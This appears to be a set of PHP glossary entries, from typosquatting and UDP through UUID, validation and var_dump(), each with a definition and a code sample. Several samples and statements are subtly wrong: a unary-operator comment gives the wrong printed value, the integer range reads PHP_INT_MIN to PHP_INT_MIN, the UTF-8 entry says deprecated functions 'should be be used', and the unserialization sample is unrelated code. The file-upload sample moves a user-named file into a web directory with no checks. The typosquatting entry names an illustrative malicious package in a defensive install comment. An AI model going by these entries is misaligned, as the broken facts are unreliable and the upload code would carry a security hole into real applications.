Typosquatting is an attack where a malicious actor registers a name that is a misspelling, a plural, a swapped letter, or a visually similar variant of a legitimate one, and waits for developers to install it by mistake. The name is chosen to be close enough to pass unnoticed when typed quickly or copied from memory.
In a package repository, such as Packagist for PHP, a typosquatted package looks like a popular library, for example monolgo/monolog instead of monolog/monolog. A composer require with the wrong name installs the attacker’s code, which then runs with the full rights of the application, its build, and its deployment pipeline.
Typosquatting is a form of supply chain attack: the attacker does not compromise the target project directly, but the dependency that the project trusts. Checking the exact spelling and the vendor name of each dependency, reviewing the composer.json changes in code review, and pinning dependencies in composer.lock reduce the risk. Static analysis can flag unknown or recently created packages, and a lockfile audit can flag a package whose name is one edit away from a popular one.
<?php
// Legitimate package
// composer require monolog/monolog
// Typosquatted package: one letter away, registered by an attacker
// composer require monolgo/monolog
// Review the lock file after any dependency change
// composer.lock must list only the packages that were reviewed
?>
See Also
Related
- Supply Chain Attack
- Supply Chain
- Packagist
- Composer
- Software Bill Of Material (SBOM)
- Least Privilege Principle
User Datagram Protocol (UDP)
UDP, or User Datagram Protocol, is a core communication protocol used on the Internet, alongside TCP.
UDP is connectionless. UDP does not establish a connection before sending data. It simply sends packets, called datagrams, to the destination without checking if the recipient is ready or available.
UDP is fast and lightweight. Because it skips the handshake and error-checking steps, UDP is faster and uses fewer resources than TCP.
UDP is unreliable. UDP does not guarantee delivery, order, or error correction. Packets may be lost, duplicated, or arrive out of order.
UDP is often associated, or opposed to TCP.
UDP is supported through socket programming. PHP provides functions to create, bind, send, and receive UDP datagrams using the ext/socket extension.
<?php
// Create a UDP socket
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
if ($socket === false) {
$error = socket_last_error();
die('socket_create() failed: ' . socket_strerror($error));
}
echo "UDP socket created successfully.\n";
?>
See Also
Related
Universally Unique Lexicographically Sortable Identifier (ULID)
ULID is a Universally Unique Lexicographically Sortable Identifier. It is a 128-bit identifier, compatible with UUID, but designed to be sortable by creation time without any additional query.
A ULID is encoded as a 26-character Crockford’s Base32 string. It is composed of two parts: a 10-character timestamp, with millisecond precision, and a 16-character random component. Because the timestamp comes first, ULID sort lexicographically in the order they were created, which makes them efficient as database primary keys with B-tree indexes.
ULID are URL-safe, case-insensitive, and contain no special characters. They avoid the hyphenated formatting of UUID while remaining compact and human-readable.
PHP support is available through components such as robinvdvleuten/ulid or symfony/uid.
<?php
use Symfony\Component\Uid\Ulid;
$ulid = new Ulid();
echo $ulid; // e.g. 01ARZ3NDEKTSV4RRFFQ69G5FAV
// ULIDs generated in sequence sort correctly
$first = new Ulid();
$second = new Ulid();
assert((string) $first < (string) $second);
?>
See Also
Related
- Universally Unique IDentifier (UUID)
- Unique Identifier
- Identifier
- Database
- Index For SQL
- Sqids
- Surrogate Key
- Unique (disambiguation)
Related packages
Unary Operator
A unary operator is an operator that operates on a single operand. It performs an operation on the value of the operand. PHP supports several unary operators, including the following:
- Post increment operator
$a++ - Pre increment operator
++$a - Post decrement operator
$a-- - Pre decrement operator
--$a - Positive operator
+$a, which produces the same value - Negative operator
-$a, which produces the opposite of the value - Logical Not operator
!$a - Bitwise Not operator
~$a - Noscream operator
@$a
The first four operators change the underlying value and also return the value. The last three operators only return the changed value, leaving the original value unchanged.
<?php
$a = 10;
print -$a; // -10, $a unchanged
print $a; // 10
print ++$a; // 10, $a changed
print $a; // 11
?>
See Also
Related
Unbacked Enum
Unbacked enums are enumeration without a string or integer equivalent for each of its cases.
Unbacked enums are the default cases, and are implied when not mentioned. The opposite is backed enum.
<?php
enum Ecclectic {
case PHP;
case ELEPHPANT;
case SYNTAX_ERROR;
case SPADE;
}
?>
See Also
Related
Undefined Behavior
Undefined behavior is behavior for which the language specification imposes no requirement whatsoever. There is no particular result, error, or crash guaranteed, and the engine is free to do anything, including nothing consistent at all. It typically results from code that violates a constraint of the language, such as reading an offset past the bounds of a value the engine does not track, or relying on internal memory layout.
Undefined behavior, in this specification sense, is distinct from the everyday PHP meaning of undefined, which refers to a variable, constant, index or property that has not been defined yet, and generally produces a well-defined warning or notice rather than an unconstrained result.
See Also
Related
Undefined
Something undefined has not been defined yet. The definition may vary from structure to structure: a variable is created upon its first writing, while a class needs a declaration.
There are many error messages, that are raised when attempting to use an undefined structure. The reasons include typos, missing compiled or custom code, order of execution.
<?php
// class Elephpant is defined, or declared
class Elephpant {}
// variable $trunk is undefined
echo $trunk;
?>
See Also
Related
Underflow
Underflow happens when a value goes below a limit: out of its range of existence, the behavior of the value is now unknown.
Underflow happens with integers, which are limited from PHP_INT_MIN to PHP_INT_MIN, floats, which are limited from PHP_FLOAT_MIN to PHP_FLOAT_MAX.
Other situations, such as accessing an array element or a string character beyond its first element, defaults to returning null.
<?php
$a = PHP_INT_MAX;
$b = (int) ($a + 1);
echo $a.PHP_EOL;
echo $b;
?>
See Also
Related
Underscore
Underscore is the _ character.
The underscore is used in integers to make them readable when the number of digit grows.
It is also used in double, to identify PHP magic methods, such as __get, __set, __call, etc.
It was also used in earlier PHP versions to identify protected methods and properties: the name of the method was prefixed with _. This practice is rare nowadays, and is enforced with visibility.
Underscore used to be added to class and method names, to keep them unique. This is now a task for namespaces.
It is used as prefix with PHP superglobal variables, such as $_GET, $_POST.
Underscore is also used as the numeric separators in integers and floats: it adds some breathing room in the string of digits, and makes it more readable, without changing the value.
Underscore is a valid name for a variable, a function, a constant, a method, a property. It is not valid anymore for classes and similar, since PHP 8.4. It is now reserved for future features. There is also a PHP native function called _(), which belongs to the gettext extension.
<?php
$million = 1_000_000;
class _ {
const _ = '_';
function _() {
_::$_ = _::_;
}
private static $_ = 1;
}
?>
See Also
Related
UnexpectedValueException
The UnexpectedValueException exception is thrown if a value does not match with a set of expected values.
This happens when the value is not in a list of expected values, or if it is outside an interval of validity.
This exception is mainly thrown by the Phar and SPL extensions.
<?php
function trumpet(string $s) {
if (empty($s)) {
throw new UnexpectedValueException('trumpet() expects a non-empty string');
}
}
?>
See Also
Related
UnhandledMatchError
An UnhandledMatchError error is thrown when the subject passed to a match expression is not handled by any case of the match expression. This means that all the cases have been exhausted, and then, the default case is missing.
Instead of finishing the match expression without any returned value, it throws an exception and stops the execution. This is a different behavior than switch, which will continue the processing, even if nothing was found, potentially leading to unexpected situations.
<?php
$b = match(3) {
1 => 'A',
2 => 'b',
};
?>
See Also
Related
Unicode
Unicode is a standard to represent text. It is maintained by the Unicode Consortium. Unicode provides a widespread standard for characters. It is used everywhere, from computer to phones, online and offline.
Unicode motto: ‘Everyone in the world should be able to use their own language on phones and computers.’
PHP supports unicode in its syntax with the declare() encoding option.
PHP may translate from and to Unicode to other character sets with extensions such as iconv, intl, mbstring.
<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
<cmd>login</cmd>
<login>Richard</login>
</document>
XML;
$xml = simplexml_load_string($string);
print_r($xml);
?>
See Also
Related
Uninitialized
A data container, such as a variable, a property, or an array index, is uninitialized, when it is used for reading, while no value was provided so far.
Different behaviors happen, depending on the type of data container.
- Variable: a warning is emitted, and the variable’s content is actually
null. The variable stays undefined - Static Property: a Fatal error is emitted
- Undefined Normal Property: a warning is emitted. The property’s content is actually
null - Untyped Normal Property without default value: the property’s content is actually
null. No warning nor error - Typed Normal Property without default value: a fatal error is emitted
- Property with default value: the default value is used.
<?php
echo $trunk; // Undefined variable $trunk
class Elephpant {
public int $trunkLength;
}
echo Elephpant::$tusk; // Access to undeclared static property Elephpant::$tusk
new Elephpant()->tusk; //
new Elephpant()->trunkLength; // Typed property Elephpant::$trunkLength must not be accessed before initialization
?>
See Also
Related
Union Type
Union types refer to the ability to specify multiple possible types for a property, parameter, or return value. It allows a property or parameter to accept values of different types. It allows a method or function to return values of different types. Union types were introduced in version 8.0.
Before PHP 8, a type declaration could only have a single type, except for the null type. Nowadays, with union types, the code can declare multiple types by separating them with a pipe | symbol.
Union types were introduced for exception catching, before PHP 8.
<?php
class Elephpant {
private Herd | Waterhole | Matriarch $tusk;
}
try {
} catch (Herd|Waterhole|Matriarch $e) {
}
?>
See Also
Related
- Type System
- Composite Type
- Alias Types
- Disjunctive Normal Form (DNF)
- Literal Types
- Relative Types
- Property Type Declaration
- Intersection Type
- Named Type
- Type Inference
- Algebraic Data Type
- Duplicate
- Sum Type
- Type System
- Option Type
- Result Type
- Contravariance
- Type Narrowing
Unique Identifier
A unique identifier is a value that distinguishes one entity from all others within a given scope. Its uniqueness may be guaranteed within a single database table, across a distributed system, or globally.
Common forms of unique identifiers include:
- Auto-increment integers: simple, sequential, generated by a database engine.
- UUID, Universally Unique Identifier: 128-bit values generated without central coordination.
- ULID, Universally Unique Lexicographically Sortable Identifier:
UUID-compatible but lexicographically sortable. - Sqids: encodes integers into short, URL-safe strings for obfuscating sequential IDs.
- Slug: a human-readable, URL-friendly string derived from a title or label.
The choice of identifier affects indexing performance, URL exposure, privacy as auto-increment IDs reveal record counts, and the ability to generate identifiers outside the database.
uniqid() generates a time-based string, while UUID generation is provided by libraries such as ramsey/uuid.
<?php
// built-in, not guaranteed to be globally unique
$id = uniqid('', true);
// UUID via ramsey/uuid
use Ramsey\Uuid\Uuid;
$uuid = Uuid::uuid4()->toString();
// e.g. 550e8400-e29b-41d4-a716-446655440000
?>
See Also
Related
- Universally Unique IDentifier (UUID)
- Slug
- Database
- Identifier
- Race Condition
- Correlation ID
- Idempotent
- Sqids
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Auto-Increment
- Foreign Key (FK)
- Primary Key
- Surrogate Key
- Unique (disambiguation)
Related packages
Unique (disambiguation)
The word unique appears in several distinct PHP concepts.
array_unique(): a built-in PHP function that removes duplicate values from an array, returning only the first occurrence of each value. Comparison is by string representation by default, configurable via sort flags.- Unique identifier: a value that distinguishes one entity from all others within a given scope. Covers auto-increment integers,
UUID,ULID, Sqids, and slugs. - Uniqueness constraint, SQL: a database constraint that prevents duplicate values in a column or combination of columns. Related to indexing strategy and race conditions on insert.
- Deduplication: the broader process of detecting and discarding duplicate occurrences of an operation, message, or record, commonly applied in queues, webhooks, and distributed systems.
See Also
Related
- array_unique()
- Unique Identifier
- Deduplication
- Index For SQL
- Universally Unique IDentifier (UUID)
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Sqids
- Duplicate
Unit Test
Unit tests are tests that verify how a coherent piece of code works. The piece of code may be limited to one class, but it may also encompass related code, as long as it does not create a dependency.
Related
- Test
- Integration Test
- Edge Case
- End To End Test
- Mutation Testing
- Global State
- Property-Based Testing
- Red-Green-Refactor
- Test Impact Analysis
- Acceptance Test
- Black Box Testing
- Functional Test
- White Box Testing
UnitEnum
The UnitEnum interface identifies any enumeration. It works on both enumerations and backed-enumerations.
This interface is only available for type checks, and cannot be implemented by another class.
This interface ensure the enum::cases() method is available, that lists all cases in that enumeration.
<?php
enum E { case A;}
enum F: int { case B = 1;}
var_dump(E::A instanceof UnitEnum); // true
var_dump(F::B instanceof UnitEnum); // true
?>
See Also
Related
Unpacking
Unpacking has two meanings:
unpack(), a PHP native function, which extracts data from a binary string. It has thepack()reverse function.- Unpacking arguments, with the
...operator: turning an array into a list of arguments at call time.
<?php
// Unpacking arguments
function trumpet($trunk, $herd, $calf) {
return $trunk + $herd * $calf;
}
$arguments = ['trunk' => 1, 'herd' => 2, 'calf' => 3];
echo trumpet(...$arguments);
// display 7
?>
See Also
Related
Unreachable Code
Unreachable code refers to a section of code within a program that can never be executed during the program’s runtime. It means that the code is written in such a way that it can never be reached or accessed by the program’s execution flow.
Unreachable code can occur due to several reasons:
- Conditional statements
- Early return statements
- Infinite loops
- Branching with goto, yield, break, return, die…
<?php
$trunk = 1;
echo trumpet($trunk);
exit;
// This is unreachable code, as it will never be executed
echo $trunk;
// This is not unreachable, as PHP scoops the definition at linting time
function trumpet($s) {
return strtolower($s);
}
?>
See Also
Related
Unserialization
Unserialization is the extraction of an object from a string representation of an object.
The reverse process is serialization.
There are different ways to implement serialization. The native way is to rely on the serialize() and unserialize(), which, in turn, rely on the __serialize() and __unserialize() magic method. Then, var_export() and require() make another serialization method. WDDX, XML, JSON or YAML all work as serialization, yet they usually are not considered, over speed or performance issues.
<?php
class Elephpant {
private const HABITAT = 1;
function trumpet() {
// same as \Elephpant::C;
return self::C;
}
}
?>
See Also
Related
Related packages
unset()
unset() removes a variable, an array item or an property. This feature used to be available as a function call unset() or as a type cast (unset). The type-cast was removed in version 7.2.
It is not possible to remove a static property, but it is possible to remove a property: a defined property will be reverted to its definition, while an undefined property is removed. It may end up being uninitialized if it does not have a default value.
<?php
$a = ['b' => 1];
unset($a['b']); // unset an element
unset($a); // unset the whole array
var_dump(isset($a)); // false
?>
See Also
Related
Unspecified Behavior
Unspecified behavior is behavior for which the language specification provides two or more valid options, without requiring the engine to document which one it picked, or to stay consistent across calls. Unlike undefined behavior, every option is still a valid, non-erroneous outcome; unlike implementation-defined behavior, the engine does not have to commit to, or publish, a single choice.
An classic example is the order in which arguments are evaluated in a function call: the specification does not require left-to-right evaluation, so code that relies on a particular order, e.g. through side effects in the arguments, may behave differently between engine versions.
<?php
function noop($value) { return $value; }
$i = 0;
function next() {
global $i;
return $i++;
}
// unspecified: the order in which next() is called for each argument
// is not guaranteed by the language
noop(next(), next());
?>
See Also
Related
Unused
Unused is a state of a structure. It has been declared, defined or created, but it is not used, called, read. This is a characteristic of dead code.
Being unused happens to constants, variables, parameters, properties, methods, classes, traits, interfaces, use expressions.
It may also happen to results: some piece of data is calculated, returned, but then, not used. This often leads to a slower execution.
It also happens to propagate: removing an unused function may actually create another unused function, which was only called by the first one.
<?php
const A = 1;
const B = 2;
echo A;
// B is defined but not used
?>
See Also
Related
User Operations For Zend (UOPZ)
The UOPZ extension, User Operations for Zend, exposes Zend Engine functionality normally used at compilation and execution time in order to allow modification of the internal structures that represent PHP code, and for user code to interact with the engine.
<?php
// Dynamically adds an interface to a class with UOPZ
interface myInterface {}
class myClass {}
uopz_implement(myClass::class, myInterface::class);
var_dump(class_implements(myClass::class));
?>
See Also
Related
Upgrade
An upgrade refers to the process of updating or replacing an existing installation of PHP or any library or component with a newer version. Major upgrade refers to a change in the first digit of the version, while minor upgrades are for the other numbers in the version.
An upgrade often requires a migration: the current code has to be made compatible with the current version, but also with the upcoming version.
See Also
Related
File Upload
PHP is able to receive files as part of a form submission.
PHP is capable of receiving file uploads from any RFC-1867, RFC-2854 compliant browser. It also supports multipart/form-data format, from the RFC-2388.
File upload code is based on the $_FILES superglobal, and move_uploaded_file() function. It also relies on several PHP directives: file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size and max_input_time.
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo 'File is valid, and was successfully uploaded.';
} else {
echo 'Possible file upload attack!';
}
?>
See Also
- Learn Everything About File Upload in PHP With Examples
- Secure File Uploads in PHP
- How to Upload Files in PHP (Step-by-Step Guide for Beginners)
- RFC-1867
- RFC-2854
- RFC-2388
- How Does File Upload in PHP Really Work?
- Exploiting a file upload vulnerability by bypassing a PHP extension filter using .php5,
Related
Urbanisation
Urbanisation is the practice of organising an information system the way a city planner organises a city: into zones, districts and blocks, connected by shared roads and utilities, rather than as a single undifferentiated sprawl.
The approach groups business capabilities into zones, such as billing or customer management, and defines the allowed interactions between them, much like a city plan defines which roads connect which districts. Existing applications are mapped onto this plan, revealing duplication and gaps, and new projects are then built to fit into the target zones instead of adding uncontrolled connections.
Urbanisation grew out of French enterprise architecture practice in the late nineties, and overlaps heavily with what is now generally called enterprise architecture. A monolith is the opposite outcome: a single block with no internal zoning, where every part can reach every other part directly.
See Also
- Information System Urbanization - Green IT Consulting
- The Enterprise Architecture IT Project: The Urbanisation Paradigm
Related
URI Class
The URI class is the class provided by the uri extension. It is built with a string, as a URL, and parses it into smaller parts with its methods.
<?php
use Uri\Rfc3986\Uri;
$url = new Uri('https://www.php.net:443/phpinfo');
?>
See Also
Related
URI Extension
uri is an extension that provides APIs to securely parse and modify URI and URL according to the RFC 3986 and WHATWG URL standards. It is powered by the uriparser, RFC 3986, and Lexbor, WHATWG URL, libraries. It offers the uri class.
This extension is meant to replace the parse_url() function. It also provides two ways to manipulate, parse and produce URLs, which were not available until PHP 8.5.
<?php
// PHP 8.5 and newer
use Uri\Rfc3986\Uri;
$uri = new Uri('https://php.net/releases/8.5/en.php');
var_dump($uri->getHost());
// string(7) php.net
// PHP 8.4 and older
$components = parse_url('https://php.net/releases/8.4/en.php');
var_dump($components['host']);
// string(7) php.net
?>
See Also
Related
Related packages
Universal Resource Identifier (URI)
Universal Resource Identifier is a unique sequence of characters that identifies a logical or physical resource used by web technologies.
URI are strings, with a special format, also called scheme, which allows identify uniquely a resource, without providing its location.
For example, a ISBN is a unique universal identifier for a book, yet it doesn’t mention where to find such book.
URI is closely related to URL, which provides the location of the desired resource.
See Also
Related
- Universal Resource Locator (URL)
- File
- file_get_contents()
- URI Class
- URI Extension
- Data Source Name (DSN)
- Link
- parse_url()
Universal Resource Locator (URL)
Universal Resource Locator is a string that represents a resource, where to find it, how to access it.
The full URL include the following information:
protocol: for example, http, https, mongodb, zipuser: the username for authentication purposespass: the password associated with the usernameserver: the name or the address of the server where the resource residepath: the location of the resource on the serverquery: extra parameters to reach the resourcefragment: the location of the resource inside the previous address, server and path
PHP has several functions dedicated to processing URL, such as parse_url() and http_build_query().
PHP also makes use of URL as a generalisation for file path. For example, file_get_contents() and fopen() both work on local and remote files, via URL.
PHP is able to process different protocols with its internal Protocols and Wrappers, using the file system functions.
<?php
print_r(parse_url('https://www.php.net/'));
/*
Array
(
[scheme] => https
[host] => www.php.net
[path] => /
)
*/
// fetch the PHP home page
$html = file_get_contents('https://www.php.net/');
?>
See Also
Related
- Secure Sockets Layer (SSL)
- File
- Query String
- Scheme
- URI Extension
- Universal Resource Identifier (URI)
- Canonical
- Pound #
- Search Engine Optimization (SEO)
- parse_url()
- file_get_contents()
- fopen()
- http_build_query()
- URI Class
- Anchor
- Link
- Slug
- Web Hypertext Application Technology Working Group (WHATWG)
- Asset
- Domain Name
- Redirect
Use Alias
The use operator can create aliases for a class, function or constant. After the declaration of the alias, it is possible to use the original class with the alias name.
With PHP fallback mechanism, it is possible to declare locally a function with the name of a native PHP function. This is useful to mock such functions.
<?php
use Elephpant as Pachyderm;
use const HABITAT as ENCLOSURE;
use function trumpet as strtlower; // very confusing
class Elephpant {}
new Elephpant;
new Pachyderm;
?>
See Also
Related
Use In Traits
use imports a trait in the current structure, either another trait, a class or an enumeration.
use is a keyword for traits and classes.
The import federates all the defined structures in both traits and classes: the methods, the properties and the constants.
There may be naming conflicts between the imported traits and the host structure: the conflicts may be between an import and the host structure, or between two distinct imported traits.
In that case, there is a mechanism to resolve the conflicts: the insteadof keyword allows the host to choose between several competing implementations.
The as keyword is also available to create aliases from the import structures. These aliases shall not introduce new naming conflicts. It is not possible to use abstract as an alias when resolving names with traits.
<?php
trait Trunk {
function trumpet() {}
}
trait Tusk {
use Trunk {
Trunk::trumpet as goo; // aliasing
Trunk::trumpet insteadof trumpet; // aliasing
Tusk::trumpet as hoo; // aliasing
}
function trumpet() {}
}
?>
See Also
Related
Use
The use operator has three distinct usages.
The use operator allows the import and aliasing of fully qualified names, such as classes, interfaces, constants, etc. in the current namespace.
When use used inside a class or a trait, it imports a trait and its methods and properties. It is also the place to solve naming conflicts.
When use is used with a closure, it imports the listed variables in the closure, from the defining environment.
<?php
namespace My\Space {
// class importation with use
use \Some\Other\Space\Elephpant as Pachyderm;
class Herd {
// trait importation of use
use Foraging;
function trumpet() {
$trunk = 1;
// use imports the variable $trunk in the closure. Its value is accessible at execution time.
$closure = function ($calf) use ($trunk) { return $trunk + $calf;};
}
}
// class importation with use
use \Some\Other\Space\Elephpant as Tusker;
}
?>
See Also
Related
- Fully Qualified Name
- Use Alias
- Closure
- Trait
- Use In Traits
- Class Aliases
- Class Operator
- class_alias()
- Insteadof
Used
Used is a state of a PHP structure. It has been declared, defined or created, but it is actually referred to in another expression. By essence, all structures should be used, as least once.
Being used happens in different ways:
- Constants are read
- Variables are read, modified, unset
- Parameters are read
- Properties are read, modified, unset
- Methods are called
- Classes are instantiated, called for their method, constants, properties
- Traits are imported in a class or another trait
- Interfaces are implemented, mentioned with
instanceofor specified as type
use expression do not guarantee usage: they import a structure, and alias it, but it, too, may be unused.
Usage may depend on an initial call that is never happening in production.
<?php
const A = 1;
use const A as B;
echo A;
echo B;
?>
Related
Useless
Some piece of code is useless when it doesn’t bring any feature to the code.
It may be the case of double checks, where a characteristic is checked twice in a row; or when the same operation is repeated multiple times, yet is idempotent.
It is also the case of unused calculations: they are processed, stored, but ultimately, not combined with anything else.
<?php
function trumpet(array $array) {
if (!empty($array)) {
// foreach() checks automatically the array for elements, and skips the loop when the array is empty.
foreach($array as $tusk) {
doSomething();
}
}
}
// trumpet is defined and called
$result = trumpet([]);
?>
See Also
Related
User-Agent
The User-Agent is an HTTP request header sent by a browser, bot, or any other HTTP client, describing what sent the request. It may be an application name, a rendering engine, an operating system, and a version number, packed into a single free-form string. It is read from $_SERVER['HTTP_USER_AGENT'].
The string has no enforced format, and grew increasingly cluttered over the browser wars, as vendors kept adding tokens that impersonate older or competing browsers to avoid being blocked by sites that checked it too strictly; a modern Chrome User-Agent string still contains the substring Mozilla/5.0 for that reason. Because of this, User-Agent sniffing, parsing the string to decide what a browser can do, has always been fragile: the string is freely spoofable by the client, and PHP’s own get_browser(), backed by a browscap.ini database, needs constant updates to stay accurate as new browser versions ship.
User-Agent is still useful for coarse purposes such as logging, analytics, or bot detection, but deciding what markup or JavaScript to serve based on it is considered an anti-pattern, in favor of feature detection. Google’s User-Agent Client Hints proposal, exposed via headers such as Sec-CH-UA, is a more structured, opt-in replacement, though PHP’s $_SERVER superglobal only exposes it like any other request header, with no dedicated parsing support.
<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
// fragile: guessing capabilities from a spoofable string
$isMobile = str_contains($userAgent, 'Mobile');
// coarse but reasonable: logging or bot detection
$isBot = preg_match('/bot|crawl|spider/i', $userAgent) === 1;
?>
See Also
Related
Userland
A userland feature, or definition, is a piece of code defined with PHP code, by one of the PHP developers. userland features are opposed to native features, which are available within PHP itself.
Functions, classes, enums, traits, constants, etc. may be userland. Loaded components with composer from packagist are also userland structures.
The main difference between userland and native features is tenuous. Though, some very specific feature may be reserved to native features. For example, magic methods are case-insensitive and magic, while userland constant cannot be case-insensitive. This is never critical.
There are some specific guidelines for userland naming.
<?php
// trumpet is a userland function
function trumpet() {}
?>
See Also
Related
UTF-8
UTF-8 is a character encoding standard. It is defined by the Unicode Standard. The acronym stands for Unicode Transformation Format – 8-bit.
PHP handles the UTF-8 encoding natively: at input time, with the input_encoding directive; at output time, with the output_encoding and internally with the internal_encoding. All of them can use independent values, yet they all default to default_charset, which uses UTF-8 as default value.
For other manipulations, such as converting sources such as file or databases content to and from UTF-8, PHP relies on mbstring and iconv libraries.
Special functions, such as utf8_encode() and utf8_decode() are deprecated since PHP 8.2, and should be be used.
See Also
Related
UUencode Encoding
Uuencode, short for Unix-to-Unix encoding, is a binary-to-text encoding mechanism originally designed to transfer binary data over mediums that only support text, such as email or newsgroups. It encodes binary files into a text format that can be easily transmitted and decoded back into their original form.
<?php
$phpString = 'Well, I can say: 你好!' ;
$encoded = convert_uuencode($phpString);
print $encoded.PHP_EOL;
//:5V5L;"P@22!C86X@<V%Y.B#DO:#EI;WOO($`
//`
$decoded = convert_uudecode($encoded);
print $decoded.PHP_EOL;
//Well, I can say: 你好!
?>
See Also
Related
Universally Unique IDentifier (UUID)
UUID is a Universally Unique IDentifier. It is an identifier that anyone can generate, and that has a near certainty that it identifies something unique, in the universe.
UUIDs are in contrast to classic integer ids, such as auto-increment primary keys, which usually start at 0, and are incrementally generated. Not only this means connecting to a database, and querying the right table, but also means that there are multiple usages of 1, in each of these tables.
UUIDs are a standard defined in RFC 9562, which supersedes RFC 4122. The standard defines several versions, each with different generation strategies:
UUIDv1: time-based using the MAC address of the generating machine.UUIDv3: deterministic, derived from a namespace and a name using MD5.UUIDv4: randomly generated using 122 random bits; the most widely used version.UUIDv5: deterministic, derived from a namespace and a name usingSHA-1.UUIDv6: reordered time-based UUID, optimised for database index locality.UUIDv7: contains a 48-bit Unix timestamp in milliseconds followed by random bits, making it time-sortable and suitable for use as a database primary key.
UUIDv7 is the recommended version for new applications that use UUID as a database primary key, as its time-ordered structure avoids the B-tree page splits caused by random UUIDv4 values.
123e4567-e89b-12d3-a456-426614174000
See Also
Related
- Identifier
- Identity
- Unique Identifier
- Correlation ID
- Idempotent
- Index For SQL
- Sqids
- Universally Unique Lexicographically Sortable Identifier (ULID)
Related packages
Validation
Validation is the process to check that a data conform to a specific pattern or set of constraints. The data is not modified by a validation process. There are PHP extension and external components to perform validation tasks.
Validation applies to simple values, such as strings or integer; they also apply to larger structures, like XML, JSON or YAML, where the number of simple value is high.
Validation is also called filtering.
<?php
if (intval($string) > 0) {
print "The string is an integer";
}
?>
See Also
Related
- Sanitation
- Parse
- Parser
- Schema
- Specification
- filter
- parse_url()
- is_array()
- is_bool()
- is_int()
- is_string()
- Refinement Type
- Extract, Transform, Load (ETL)
- HTMLPurifier
- is_float()
- is_numeric()
- Referential Integrity
Related packages
Value Object
A value object is a design pattern used to represent immutable objects that encapsulate a set of related values or attributes. Unlike entities, which are identified by their identity and can change over time, value objects are defined by their state and remain constant throughout their lifetime.
Value objects are typically used to model concepts that don’t have a distinct identity but are important for the behavior and correctness of the system. For example, a Date value object can represent a specific date, and its attributes may include the year, month, and day. Another example is a Money value object that represents a monetary amount, including attributes such as the currency and the value.
<?php
class Person {
public $name;
public $lastName;
}
?>
See Also
- Writing value objects in PHP
- Value objects in PHP
- Is it a DTO or a Value Object?
- Bring Value to your code
- Value Objects in PHP 8: Building a better code
- Advanced Value Objects in PHP 8
Related
- Data Transfer Object (DTO)
- Entities
- Service
- Object Calisthenics
- Phantom Type
- Refinement Type
- Rich Domain Model
Related packages
Value Type
A value type, as in C#, Swift, or Go, is copied in full whenever it is assigned or passed to a function, rather than shared by reference; two variables holding a value type never alias the same storage. Value types are typically small enough, and lack the identity-based behavior of objects, that the compiler can allocate them on the stack, or inline within another structure, and reclaim them automatically when they go out of scope, without involving the garbage collector or heap allocator at all.
This differs from a reference type, where the variable holds a pointer to shared, heap-allocated storage, and copying the variable only copies the pointer, leaving both variables observing the same underlying data.
Value type are related to stack allocation, though they are not the same.
PHP has exactly two kinds of values with respect to this distinction: scalars, like int, float, bool, string, and arrays behave like value types, copied on assignment, aka cow, courtesy of copy-on-write so the actual duplication is deferred until a mutation would otherwise be observable; every object, without exception, is a reference type, allocated on the heap and shared by reference whenever assigned or passed. PHP gives the programmer no way to declare a class as a value type, and no way to request stack allocation for anything: allocation strategy is entirely up to the engine and is never a choice exposed in the language.
<?php
$a = [1, 2, 3];
$b = $a; // copy-on-write: logically a full copy, value semantics
$b[] = 4;
echo count($a); // 3, unaffected
class Box { public int $n = 1; }
$trunk = new Box();
$tusk = $trunk; // reference copy: both variables share the same object
$tusk->n = 2;
echo $trunk->n; // 2, objects are never value types in PHP
?>
See Also
Related
Value
A value is the piece of data that is inside a container, such as a variable, an array, a property or a constant. A value may take different types.
The absence of value is usually noted with null, which is, paradoxically, a value itself.
<?php
$variable = 'value';
?>
See Also
Related
ValueError
A ValueError is thrown when the type of an argument is correct but the value of it is incorrect.
It is a PHP error, and not an exception, it is thrown by PHP native functions.
<?php
$hexadecimal = 'a37334';
// -2 is not a valid number base : it should be 2 or more.
// Argument #2 ($from_base) must be between 2 and 36 (inclusive)
echo base_convert($hexadecimal, 0, 2);
// Third argument is for the starting offset. Here, this is beyond the end of the string
// as such, the offset has a valid type (integer), but its value is not correct (out of range)
$a = strpos("p", "php", 16);
?>
See Also
Related
Vanilla PHP
Vanilla PHP refers to writing an application using only the PHP language and its native, built-in features, without relying on any framework or third-party library. The term is borrowed from vanilla JS, itself named after plain vanilla ice cream: no extra flavor, no components.
Vanilla PHP is not a technical feature of the language: it is a description of a codebase’s dependencies, or the lack thereof. It contrasts with using a framework, such as Laravel or Symfony, which provides routing, dependency injection, an ORM, etc., or a library, which provides a narrower, reusable piece of functionality.
Writing vanilla PHP avoids the learning curve, footprint, and version-compatibility constraints of external code, at the cost of implementing anew common needs, such as routing or templating, by hand. It is a common choice for small scripts, learning exercises, and legacy codebases predating widespread framework adoption.
<?php
// Vanilla PHP: routing done by hand, with only native functions
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
switch ($path) {
case '/':
echo 'Home page';
break;
case '/about':
echo 'About page';
break;
default:
http_response_code(404);
echo 'Not found';
}
?>
See Also
Related
Var
var keyword for introducing PHP properties in classes. It originates from PHP 4, where it was the only way to declare class properties. Since PHP 5, visibility keywords like public, private, protected replaced it as the idiomatic syntax.
var is equivalent to public: a property declared with var is publicly accessible. It is considered legacy syntax and is not recommended.
Modern property declarations support additional modifiers unavailable with var, such as final, static, readonly, and type declarations.
var may be omitted with other options such as final, static, readonly, or asymmetric visibility: then, the property is publicly accessible.
<?php
class Elephpant {
var $tusk; // public $tusk
final $ivory; // public final $ivory;
}
?>
See Also
Related
- Visibility
- Protected Visibility
- Private Visibility
- Public Visibility
- Properties
- static
- Final Keyword
- Readonly
- Property Type Declaration
- Promoted Properties
- Asymmetric Visibility
- OOP (Object Oriented Programming)
- Dynamic Properties
- Legacy
var_dump()
var_dump() displays the information in a variable or any data container. It is a debugging function.
var_dump() is one of the most famous PHP functions. It is often related to print_r() and var_export().
<?php
$a = true;
var_dump($a);
// bool(true)
?>
See Also
Related
Related packages
var_export()
